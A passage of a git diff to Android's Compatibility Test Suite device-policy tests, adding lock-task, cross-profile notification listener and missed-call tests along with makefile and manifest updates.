+ new ComponentName(PACKAGE_NAME, BaseDeviceOwnerTest.BasicAdminReceiver.class.getName());
+
+ private static final String LOCK_TASK_ACTIVITY
+ = LockTaskUtilityActivityIfWhitelisted.class.getName();
+
+ private UiDevice mUiDevice;
+ private Context mContext;
+ private ActivityManager mActivityManager;
+ private DevicePolicyManager mDevicePolicyManager;
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getContext();
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mActivityManager = mContext.getSystemService(ActivityManager.class);
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ }
+
+ @Test
+ public void startLockTask() throws Exception {
+ Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
+ setDefaultHomeIntentReceiver();
+ launchLockTaskActivity();
+ mUiDevice.waitForIdle();
+ }
+
+ @Test
+ public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
+ mUiDevice.waitForIdle();
+
+ checkLockedActivityIsRunning();
+
+ mUiDevice.pressBack();
+ mUiDevice.waitForIdle();
+ checkLockedActivityIsRunning();
+
+ mUiDevice.pressHome();
+ mUiDevice.waitForIdle();
+ checkLockedActivityIsRunning();
+
+ mUiDevice.pressRecentApps();
+ mUiDevice.waitForIdle();
+ checkLockedActivityIsRunning();
+
+ mUiDevice.waitForIdle();
+ }
+
+ @Test
+ public void clearDefaultHomeIntentReceiver() {
+ mDevicePolicyManager.clearPackagePersistentPreferredActivities(ADMIN_COMPONENT,
+ PACKAGE_NAME);
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
+ }
+
+ private void checkLockedActivityIsRunning() throws Exception {
+ assertTrue(isActivityOnTop());
+ assertEquals(ActivityManager.LOCK_TASK_MODE_LOCKED,
+ mActivityManager.getLockTaskModeState());
+ }
+
+ private boolean isActivityOnTop() {
+ return mActivityManager.getAppTasks().get(0).getTaskInfo().topActivity
+ .getClassName().equals(LOCK_TASK_ACTIVITY);
+ }
+
+ private void launchLockTaskActivity() {
+ Intent intent = new Intent();
+ intent.setClassName(PACKAGE_NAME, LOCK_TASK_ACTIVITY);
+ intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(LockTaskUtilityActivity.START_LOCK_TASK, true);
+ mContext.startActivity(intent);
+ }
+
+ private void setDefaultHomeIntentReceiver() {
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+ IntentFilter intentFilter = new IntentFilter(Intent.ACTION_MAIN);
+ intentFilter.addCategory(Intent.CATEGORY_HOME);
+ intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
+ mDevicePolicyManager.addPersistentPreferredActivity(ADMIN_COMPONENT, intentFilter,
+ new ComponentName(PACKAGE_NAME, LOCK_TASK_ACTIVITY));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java
index 6c139aa..321f3d6 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java
@@ -21,6 +21,8 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.lang.Math;
public class VrTemperatureTest extends BaseDeviceOwnerTest {
@@ -78,6 +80,7 @@
/**
* Tests that temperature sensors return valid values.
*/
+ @CddTest(requirement="7.9.2/C-1-13")
public void testVrTemperatures() throws InterruptedException, SecurityException {
if (!supportsVrHighPerformance())
return;
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index 964c389..08edf44 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -26,11 +26,14 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-v4 \
+ ctstestrunner \
+ legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.mk b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
index b0abc23..b71ddfb 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
@@ -26,11 +26,15 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-v4 \
+ ctstestrunner \
+ ub-uiautomator \
+ legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
index 19fd3bd..ed4943f 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
@@ -24,13 +24,17 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := legacy-android-test cts-junit
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ android-support-test \
+ legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
index 9e86d13..932f691 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
@@ -24,11 +24,11 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := cts-junit
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
index ae6282f..b947a61 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
@@ -26,12 +26,18 @@
LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner compatibility-device-util \
- ub-uiautomator android-support-test guava
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ compatibility-device-util \
+ ub-uiautomator \
+ android-support-test \
+ guava \
+ legacy-android-test
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index b8a5eae6..05ebac0 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -30,6 +30,7 @@
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<application
android:testOnly="true">
@@ -114,6 +115,17 @@
<data android:mimeType="vnd.android.cursor.item/phone" />
<data android:mimeType="vnd.android.cursor.item/person" />
</intent-filter>
+ <intent-filter>
+ <action android:name="android.intent.action.DIAL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.intent.action.VIEW" />
+ <action android:name="android.intent.action.DIAL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.BROWSABLE" />
+ <data android:scheme="tel" />
+ </intent-filter>
</activity>
<service android:name=".AccountService" android:exported="true">
<intent-filter>
@@ -132,6 +144,31 @@
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
+
+ <service
+ android:name=".CrossProfileNotificationListenerService"
+ android:label="CrossProfileNotificationListenerService"
+ android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
+ <intent-filter>
+ <action android:name="android.service.notification.NotificationListenerService" />
+ </intent-filter>
+ </service>
+
+ <receiver android:name=".MissedCallNotificationReceiver">
+ <intent-filter>
+ <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION" />
+ </intent-filter>
+ </receiver>
+
+ <!-- Dummy receiver that's decleared direct boot aware. This is needed to make the test app
+ executable by instrumentation before device unlock -->
+ <receiver android:name=".ResetPasswordWithTokenTest$DummyReceiver"
+ android:directBootAware="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+ </intent-filter>
+ </receiver>
+
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileNotificationListenerService.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileNotificationListenerService.java
new file mode 100644
index 0000000..9a17733
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileNotificationListenerService.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static com.android.cts.managedprofile.NotificationListenerTest.ACTION_NOTIFICATION_POSTED;
+import static com.android.cts.managedprofile.NotificationListenerTest.ACTION_NOTIFICATION_REMOVED;
+import static com.android.cts.managedprofile.NotificationListenerTest.ACTION_LISTENER_CONNECTED;
+
+import android.content.Intent;
+import android.service.notification.NotificationListenerService;
+import android.service.notification.StatusBarNotification;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+
+public class CrossProfileNotificationListenerService extends NotificationListenerService {
+
+ static final String NOTIFICATION_CHANNEL = "NotificationListenerTest";
+ private static final String TAG = NotificationListenerTest.TAG;
+
+ @Override
+ public void onNotificationPosted(StatusBarNotification sbn) {
+ Log.i(TAG, "onNotificationPosted(" + sbn + ")");
+ sendBroadcastForNotification(sbn, ACTION_NOTIFICATION_POSTED);
+ }
+
+ @Override
+ public void onNotificationRemoved(StatusBarNotification sbn) {
+ Log.i(TAG, "onNotificationRemoved(" + sbn + ")");
+ sendBroadcastForNotification(sbn, ACTION_NOTIFICATION_REMOVED);
+ }
+
+ @Override
+ public void onListenerConnected() {
+ Log.i(TAG, "onListenerConnected() " + android.os.Process.myPid());
+ LocalBroadcastManager.getInstance(this).sendBroadcast(
+ new Intent(ACTION_LISTENER_CONNECTED));
+ }
+
+ @Override
+ public void onListenerDisconnected() {
+ Log.i(TAG, "onListenerDisconnected()");
+ }
+
+ private void sendBroadcastForNotification(StatusBarNotification sbn, String action) {
+ if (NOTIFICATION_CHANNEL.equals(sbn.getNotification().getChannelId())) {
+ LocalBroadcastManager.getInstance(this).sendBroadcast(new Intent(action));
+ } else {
+ Log.i(TAG, "Notification is for different channel "
+ + sbn.getNotification().getChannelId());
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
index 0b1731d..b00e0a4 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
@@ -31,6 +31,9 @@
*/
public class DummyConnectionService extends ConnectionService {
+ public static final String MISSED_PHONE_NUMBER = "520";
+ public static final String NORMAL_PHONE_NUMBER = "886";
+
@Override
public Connection onCreateOutgoingConnection(PhoneAccountHandle connectionManagerPhoneAccount,
ConnectionRequest request) {
@@ -112,17 +115,28 @@
}
}
+ private static int convertNumberToCause(String number) {
+ switch (number) {
+ case NORMAL_PHONE_NUMBER:
+ return DisconnectCause.LOCAL;
+ case MISSED_PHONE_NUMBER:
+ return DisconnectCause.MISSED;
+ }
+ throw new IllegalArgumentException("Should not happen");
+ }
+
/**
* Hang up the call after 1 second in a background thread.
* TODO: It is better if we could have a callback to know when we can disconnect the call.
*/
private static void hangUpAsync(final Connection connection) {
+ final int cause = convertNumberToCause(connection.getAddress().getSchemeSpecificPart());
new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(1000);
- connection.onDisconnect();
+ connection.setDisconnected(new DisconnectCause(cause));
} catch (InterruptedException ex) {
// let it be
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/MissedCallNotificationReceiver.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/MissedCallNotificationReceiver.java
new file mode 100644
index 0000000..9a06f55
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/MissedCallNotificationReceiver.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class MissedCallNotificationReceiver extends BroadcastReceiver {
+
+ private static IntentListener sIntentListener;
+
+ public interface IntentListener {
+
+ void onIntentReceived(Intent intent);
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ sIntentListener.onIntentReceived(intent);
+ }
+
+ public static void setIntentListener(IntentListener listener) {
+ sIntentListener = listener;
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
new file mode 100644
index 0000000..499e710
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.uiautomator.UiDevice;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.Collections;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@SmallTest
+public class NotificationListenerTest {
+
+ static final String TAG = "ListenerTest";
+ static final String ACTION_NOTIFICATION_POSTED = "notification_posted";
+ static final String ACTION_NOTIFICATION_REMOVED = "notification_removed";
+ static final String ACTION_LISTENER_CONNECTED = "listener_connected";
+
+ private static final String PARAM_PROFILE_ID = "profile-id";
+
+ static final String SENDER_COMPONENT =
+ "com.android.cts.managedprofiletests.notificationsender/.SendNotification";
+
+ private final LocalBroadcastReceiver mReceiver = new LocalBroadcastReceiver();
+ private Context mContext;
+ private DevicePolicyManager mDpm;
+ private UiDevice mDevice;
+ private int mProfileUserId;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mDpm = mContext.getSystemService(DevicePolicyManager.class);
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mProfileUserId = getParam(InstrumentationRegistry.getArguments(), PARAM_PROFILE_ID);
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(ACTION_NOTIFICATION_POSTED);
+ filter.addAction(ACTION_NOTIFICATION_REMOVED);
+ filter.addAction(ACTION_LISTENER_CONNECTED);
+ LocalBroadcastManager.getInstance(mContext).registerReceiver(mReceiver, filter);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mReceiver);
+ toggleNotificationListener(false);
+ }
+
+ @Test
+ public void testSetEmptyWhitelist() throws Exception {
+ mDpm.setPermittedCrossProfileNotificationListeners(
+ BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT,
+ Collections.<String>emptyList());
+ }
+
+ @Test
+ public void testAddListenerToWhitelist() throws Exception {
+ mDpm.setPermittedCrossProfileNotificationListeners(
+ BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT,
+ Collections.singletonList(mContext.getPackageName()));
+ }
+
+ @Test
+ public void testSetNullWhitelist() throws Exception {
+ mDpm.setPermittedCrossProfileNotificationListeners(
+ BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT, null);
+ }
+
+ @Test
+ public void testCanReceiveNotifications() throws Exception {
+ toggleNotificationListener(true);
+
+ sendProfileNotification();
+ assertTrue(mReceiver.waitForNotificationPostedReceived());
+ cancelProfileNotification();
+ assertTrue(mReceiver.waitForNotificationRemovedReceived());
+
+ mReceiver.reset();
+
+ sendPersonalNotification();
+ assertTrue(mReceiver.waitForNotificationPostedReceived());
+ cancelPersonalNotification();
+ assertTrue(mReceiver.waitForNotificationRemovedReceived());
+ }
+
+ @Test
+ public void testCannotReceiveProfileNotifications() throws Exception {
+ toggleNotificationListener(true);
+
+ sendProfileNotification();
+ // Don't see notification or cancellation from work profile.
+ assertFalse(mReceiver.waitForNotificationPostedReceived());
+ cancelProfileNotification();
+ assertFalse(mReceiver.waitForNotificationRemovedReceived());
+
+ mReceiver.reset();
+
+ // Do see the one from the personal side.
+ sendPersonalNotification();
+ assertTrue(mReceiver.waitForNotificationPostedReceived());
+ cancelPersonalNotification();
+ assertTrue(mReceiver.waitForNotificationRemovedReceived());
+ }
+
+ private void cancelProfileNotification() throws IOException {
+ mDevice.executeShellCommand(
+ "am start --user " + mProfileUserId + " -a CANCEL_NOTIFICATION -n "
+ + SENDER_COMPONENT);
+ }
+
+ private void cancelPersonalNotification() throws IOException {
+ mDevice.executeShellCommand(
+ "am start -a CANCEL_NOTIFICATION -n "
+ + SENDER_COMPONENT);
+ }
+
+ private void sendProfileNotification() throws IOException {
+ mDevice.executeShellCommand(
+ "am start --user " + mProfileUserId + " -a POST_NOTIFICATION -n "
+ + SENDER_COMPONENT);
+ }
+
+ private void sendPersonalNotification() throws IOException {
+ mDevice.executeShellCommand(
+ "am start -a POST_NOTIFICATION -n "
+ + SENDER_COMPONENT);
+ }
+
+ private void toggleNotificationListener(boolean enable) throws Exception {
+ String testListener = new ComponentName(
+ mContext, CrossProfileNotificationListenerService.class).flattenToString();
+ mDevice.executeShellCommand("cmd notification "
+ + (enable ? "allow_listener " : "disallow_listener ")
+ + testListener);
+ Log.i(TAG, "Toggled notification listener state" + testListener + " to state " + enable);
+ if (enable) {
+ assertTrue(mReceiver.waitForListenerConnected());
+ }
+ }
+
+ private int getParam(Bundle arguments, String key) throws Exception {
+ String serial = arguments.getString(key);
+ if (serial == null) {
+ throw new IllegalArgumentException("Missing argument " + key);
+ }
+ return Integer.parseInt(serial);
+ }
+
+ static class LocalBroadcastReceiver extends BroadcastReceiver {
+
+ private static final int TIMEOUT_SECONDS = 10;
+
+ private CountDownLatch mNotificationPostedLatch = new CountDownLatch(1);
+ private CountDownLatch mNotificationRemovedLatch = new CountDownLatch(1);
+ private CountDownLatch mListenerConnectedLatch = new CountDownLatch(1);
+
+ public void reset() {
+ mNotificationPostedLatch = new CountDownLatch(1);
+ mNotificationRemovedLatch = new CountDownLatch(1);
+ mListenerConnectedLatch = new CountDownLatch(1);
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "onReceive(" + intent + ")");
+ if (ACTION_NOTIFICATION_POSTED.equals(intent.getAction())) {
+ mNotificationPostedLatch.countDown();
+ } else if (ACTION_NOTIFICATION_REMOVED.equals(intent.getAction())) {
+ mNotificationRemovedLatch.countDown();
+ } else if (ACTION_LISTENER_CONNECTED.equals(intent.getAction())) {
+ mListenerConnectedLatch.countDown();
+ } else {
+ Log.e(TAG, "Received broadcast for unknown action: " + intent.getAction());
+ }
+ }
+
+ public boolean waitForNotificationPostedReceived() throws InterruptedException {
+ return mNotificationPostedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ }
+
+ public boolean waitForNotificationRemovedReceived() throws InterruptedException {
+ return mNotificationRemovedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ }
+
+ public boolean waitForListenerConnected() throws InterruptedException {
+ return mListenerConnectedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ }
+ }
+
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java
index 63f2309..7d108c8 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java
@@ -17,6 +17,9 @@
package com.android.cts.managedprofile;
+import static com.android.cts.managedprofile.DummyConnectionService.MISSED_PHONE_NUMBER;
+import static com.android.cts.managedprofile.DummyConnectionService.NORMAL_PHONE_NUMBER;
+
import android.app.Instrumentation;
import android.content.ComponentName;
import android.content.Context;
@@ -36,6 +39,8 @@
import android.telecom.TelecomManager;
import android.test.InstrumentationTestCase;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.cts.managedprofile.MissedCallNotificationReceiver.IntentListener;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.InputStream;
@@ -43,6 +48,7 @@
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
public class PhoneAccountTest extends InstrumentationTestCase {
@@ -51,8 +57,6 @@
private static final String COMMAND_ENABLE = "telecom set-phone-account-enabled";
- private static final String PHONE_NUMBER = "886";
-
private static final String QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE = Calls.NUMBER
+ " = ? AND " + Calls.PHONE_ACCOUNT_COMPONENT_NAME + " = ?";
@@ -95,8 +99,9 @@
* properly.
*/
private void internalTestOutgoingCall(boolean usingTelecomManager) throws Exception {
+ final String phoneNumber = NORMAL_PHONE_NUMBER;
// Make sure no lingering values from previous runs.
- cleanupCall(false);
+ cleanupCall(phoneNumber, false /*verifyDeletion*/);
final Context context = getInstrumentation().getContext();
final HandlerThread handlerThread = new HandlerThread("Observer");
// Register the phone account.
@@ -112,32 +117,35 @@
// Place the call.
if (usingTelecomManager) {
- placeCallUsingTelecomManager(phoneAccountHandle);
+ placeCallUsingTelecomManager(phoneAccountHandle, phoneNumber);
} else {
- placeCallUsingActionCall(phoneAccountHandle);
+ placeCallUsingActionCall(phoneAccountHandle, phoneNumber);
}
// Make sure the call inserted is correct.
boolean calllogProviderChanged = countDownLatch.await(1, TimeUnit.MINUTES);
assertTrue(calllogProviderChanged);
- assertCalllogInserted(Calls.OUTGOING_TYPE);
+ assertCalllogInserted(Calls.OUTGOING_TYPE, phoneNumber);
} finally {
handlerThread.quit();
- cleanupCall(true /* verifyDeletion */ );
+ cleanupCall(phoneNumber, true /* verifyDeletion */ );
unregisterPhoneAccount();
}
}
- private void placeCallUsingTelecomManager(PhoneAccountHandle phoneAccountHandle) {
- Uri phoneUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, PHONE_NUMBER, null);
+ private void placeCallUsingTelecomManager(
+ PhoneAccountHandle phoneAccountHandle, String phoneNumber) {
+ Uri phoneUri = Uri.fromParts(
+ PhoneAccount.SCHEME_TEL, phoneNumber, null);
Bundle extras = new Bundle();
extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, phoneAccountHandle);
mTelecomManager.placeCall(phoneUri, extras);
}
- private void placeCallUsingActionCall(PhoneAccountHandle phoneAccountHandle) {
+ private void placeCallUsingActionCall(
+ PhoneAccountHandle phoneAccountHandle, String phoneNumber) {
Intent intent = new Intent(Intent.ACTION_CALL);
- intent.setData(Uri.parse("tel:" + PHONE_NUMBER));
+ intent.setData(Uri.parse("tel:" + phoneNumber));
intent.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, phoneAccountHandle);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
mContext.startActivity(intent);
@@ -147,8 +155,34 @@
* Add an incoming call with our phone account and verify the call is inserted properly.
*/
public void testIncomingCall() throws Exception {
+ internalTestIncomingCall(false /* missedCall */);
+ }
+
+ /**
+ * Add an missed incoming call with our phone account and verify the call is inserted properly.
+ */
+ public void testIncomingMissedCall() throws Exception {
+ final LinkedBlockingQueue<Intent> queue = new LinkedBlockingQueue<>(1);
+ MissedCallNotificationReceiver.setIntentListener(new IntentListener() {
+ @Override
+ public void onIntentReceived(Intent intent) {
+ queue.offer(intent);
+ }
+ });
+ internalTestIncomingCall(true /* missedCall */);
+ Intent intent = queue.poll(10, TimeUnit.SECONDS);
+ assertNotNull(intent);
+ assertEquals(TelecomManager.ACTION_SHOW_MISSED_CALLS_NOTIFICATION, intent.getAction());
+ assertEquals(
+ MISSED_PHONE_NUMBER,
+ intent.getStringExtra(TelecomManager.EXTRA_NOTIFICATION_PHONE_NUMBER));
+ }
+
+ private void internalTestIncomingCall(boolean missedCall) throws Exception {
+ final String phoneNumber = missedCall ? MISSED_PHONE_NUMBER : NORMAL_PHONE_NUMBER;
+ final int callType = missedCall ? Calls.MISSED_TYPE : Calls.INCOMING_TYPE;
// Make sure no lingering values from previous runs.
- cleanupCall(false);
+ cleanupCall(phoneNumber, false /* verifyDeletion */ );
final Context context = getInstrumentation().getContext();
final HandlerThread handlerThread = new HandlerThread("Observer");
// Register the phone account.
@@ -159,22 +193,24 @@
final CountDownLatch countDownLatch = new CountDownLatch(1);
handlerThread.start();
context.getContentResolver().registerContentObserver(Calls.CONTENT_URI, false,
- new CalllogContentObserver(new Handler(handlerThread.getLooper()),
- countDownLatch));
+ new CalllogContentObserver(new Handler(handlerThread.getLooper()),
+ countDownLatch));
// Add a incoming call.
final Bundle bundle = new Bundle();
- final Uri phoneUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, PHONE_NUMBER, null);
+ final Uri phoneUri = Uri.fromParts(
+ PhoneAccount.SCHEME_TEL, phoneNumber, null);
bundle.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, phoneUri);
+
mTelecomManager.addNewIncomingCall(phoneAccountHandle, bundle);
// Make sure the call inserted is correct.
boolean calllogProviderChanged = countDownLatch.await(1, TimeUnit.MINUTES);
assertTrue(calllogProviderChanged);
